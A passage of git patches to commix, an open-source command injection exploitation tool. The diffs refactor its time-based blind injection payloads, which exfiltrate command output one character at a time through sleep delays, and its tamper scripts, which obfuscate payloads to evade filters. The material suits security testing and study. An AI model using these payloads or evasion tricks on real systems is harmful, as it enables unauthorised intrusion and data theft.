settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "if [ " + str(j) + " -eq ${str1} ]" + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then sleep 0 " + separator + "then sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + "fi" ) @@ -227,17 +227,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + - "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #"str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + - "str1=${#str}" + separator + - "[ " + str(j) + " -eq ${str1} ]" + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) separator = _urllib.parse.unquote(separator) @@ -293,8 +293,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -307,8 +307,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) @@ -363,8 +363,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter - "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -376,8 +376,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (ampersand + "sleep 0" + separator + # Use space as delimiter - "str=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -426,8 +426,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -438,8 +438,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -491,8 +491,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ord(str(ascii_char))) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -503,8 +503,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) @@ -548,8 +548,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${str} ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" @@ -560,8 +560,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 6ce3af9bd2..d2460b6bcb 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -32,7 +32,9 @@ def tamper(payload): if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" - payload = payload.replace("${#str}", settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$str\"" + settings.CMD_SUB_SUFFIX) + payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", + settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + ) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 6543bec2b0..08eee36355 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -287,6 +287,8 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) +# Random variable name +RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) START_TIME = time.time() @@ -1154,9 +1156,9 @@ class AUTH_TYPE(object): "then", "else", "fi", - "str", - "cmd", - "char" + RANDOM_VAR_GENERATOR, + RANDOM_VAR_GENERATOR + "1", + RANDOM_VAR_GENERATOR + "2" ] # HTTP Errors From 1ae15df032df8adc26fa70eca195691c7aa43e72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 15 Feb 2025 18:00:49 +0200 Subject: [PATCH 533/560] Trivial update regarding PR: https://github.com/commixproject/commix/commit/163c8c70027ecd888db357dd496fd91511fa158c --- doc/THANKS.md | 1 + src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index af082b4dc4..e353933d03 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -72,6 +72,7 @@ * Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. * Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. +* Thanks [raeph123](https://github.com/raeph123) for contributing code. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c857968483..0c28a823f3 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -188,4 +188,4 @@ def invalid_data(request): sub_content = "POST data: " + menu.options.data settings.print_data_to_stdout(settings.print_sub_content(sub_content)) -# eof +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 08eee36355..8cac74f40b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 62450e0c3d899160818ec00d3e484cec313a9196 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Feb 2025 08:23:14 +0200 Subject: [PATCH 534/560] Minor update regarding tamper script "uninitializedvariable.py" --- src/core/tamper/uninitializedvariable.py | 13 ++++++------- src/utils/settings.py | 3 ++- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index e8902c74a5..82da1db664 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -26,15 +26,17 @@ __tamper__ = "uninitializedvariable" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + num = 2 + obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for x in range(num)) + "}" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_uninitialized_variable(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - num = 2 - obf_char = "${" + ''.join(random.choice(string.ascii_letters) for x in range(num)) + "}" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(r'([e-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: @@ -42,10 +44,7 @@ def add_uninitialized_variable(payload): return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_uninitialized_variable(payload) + return add_uninitialized_variable(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 8cac74f40b..80236ecb47 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1156,6 +1156,7 @@ class AUTH_TYPE(object): "then", "else", "fi", + "%0d", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", RANDOM_VAR_GENERATOR + "2" From bf8aa0f8d8e77b88c5ab6a869110ffd8c1d3f6c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Feb 2025 08:28:52 +0200 Subject: [PATCH 535/560] Minor update regarding tamper script "dollaratsigns.py" --- src/core/tamper/dollaratsigns.py | 7 ++----- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 5a8329e493..b8eaedbfae 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -30,7 +30,7 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "$@" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(r'([e-zE-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: @@ -38,10 +38,7 @@ def add_dollar_at_signs(payload): return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_dollar_at_signs(payload) + return add_dollar_at_signs(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 80236ecb47..5a2b8633dd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f7fc1f64c4aef9a7dcc27b1b3dc0f59aebd096a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Mar 2025 19:34:49 +0200 Subject: [PATCH 536/560] Minor code refactoring regarding multiple tamper scripts --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 20 ++++++++++---------- src/core/tamper/backslashes.py | 16 ++++++---------- src/core/tamper/backticks.py | 3 +-- src/core/tamper/base64encode.py | 5 +---- src/core/tamper/caret.py | 13 ++++--------- src/core/tamper/dollaratsigns.py | 9 +++++---- src/core/tamper/doublequotes.py | 15 ++++++--------- src/core/tamper/hexencode.py | 3 --- src/core/tamper/multiplespaces.py | 9 ++++++--- src/core/tamper/nested.py | 11 ++++++----- src/core/tamper/printf2echo.py | 13 +++++++++---- src/core/tamper/rev.py | 3 +-- src/core/tamper/singlequotes.py | 17 +++++++---------- src/core/tamper/slash2env.py | 9 ++------- src/core/tamper/sleep2timeout.py | 8 ++------ src/core/tamper/sleep2usleep.py | 8 ++------ src/core/tamper/space2htab.py | 3 +-- src/core/tamper/space2ifs.py | 5 ++--- src/core/tamper/space2plus.py | 5 ++--- src/core/tamper/space2vtab.py | 3 +-- src/core/tamper/uninitializedvariable.py | 9 ++++++--- src/core/tamper/xforwardedfor.py | 2 +- src/utils/settings.py | 13 +++++++++---- 24 files changed, 91 insertions(+), 112 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f182ee27bb..81b0ffc55d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index edebe80b42..d6f34fb999 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1484,7 +1484,7 @@ def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] - provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) + provided_scripts = list(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())) for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: @@ -1841,29 +1841,29 @@ def check_for_stored_tamper(payload): def perform_payload_modification(payload): settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'backticks': from src.core.tamper import backticks payload = backticks.tamper(payload) - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'rev': from src.core.tamper import rev payload = rev.tamper(payload) - for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # printf to echo (for ascii to dec) if print_type == 'printf2echo': from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) - for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for sleep_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # sleep to timeout if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout @@ -1873,7 +1873,7 @@ def perform_payload_modification(payload): from src.core.tamper import sleep2usleep payload = sleep2usleep.tamper(payload) - for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for quotes_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add double-quotes. if quotes_type == 'doublequotes': from src.core.tamper import doublequotes @@ -1883,7 +1883,7 @@ def perform_payload_modification(payload): from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add uninitialized variable. if mod_type == 'uninitializedvariable': from src.core.tamper import uninitializedvariable @@ -1908,7 +1908,7 @@ def perform_payload_modification(payload): from src.core.tamper import dollaratsigns payload = dollaratsigns.tamper(payload) - for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for space_mod in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode spaces. if space_mod == 'space2ifs': from src.core.tamper import space2ifs @@ -1926,7 +1926,7 @@ def perform_payload_modification(payload): from src.core.tamper import multiplespaces payload = multiplespaces.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for encode_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 4321d0c27c..4ea075407d 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -15,35 +15,31 @@ import re import sys -from src.utils import menu from src.utils import settings """ -About: Adds back slashes ("\") between the characters of the generated payloads. +About: Adds back slashes (\) between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backslashes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "\\" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_back_slashes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "\\" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_back_slashes(payload) + return add_back_slashes(payload) else: return payload diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index d2460b6bcb..0a49618835 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 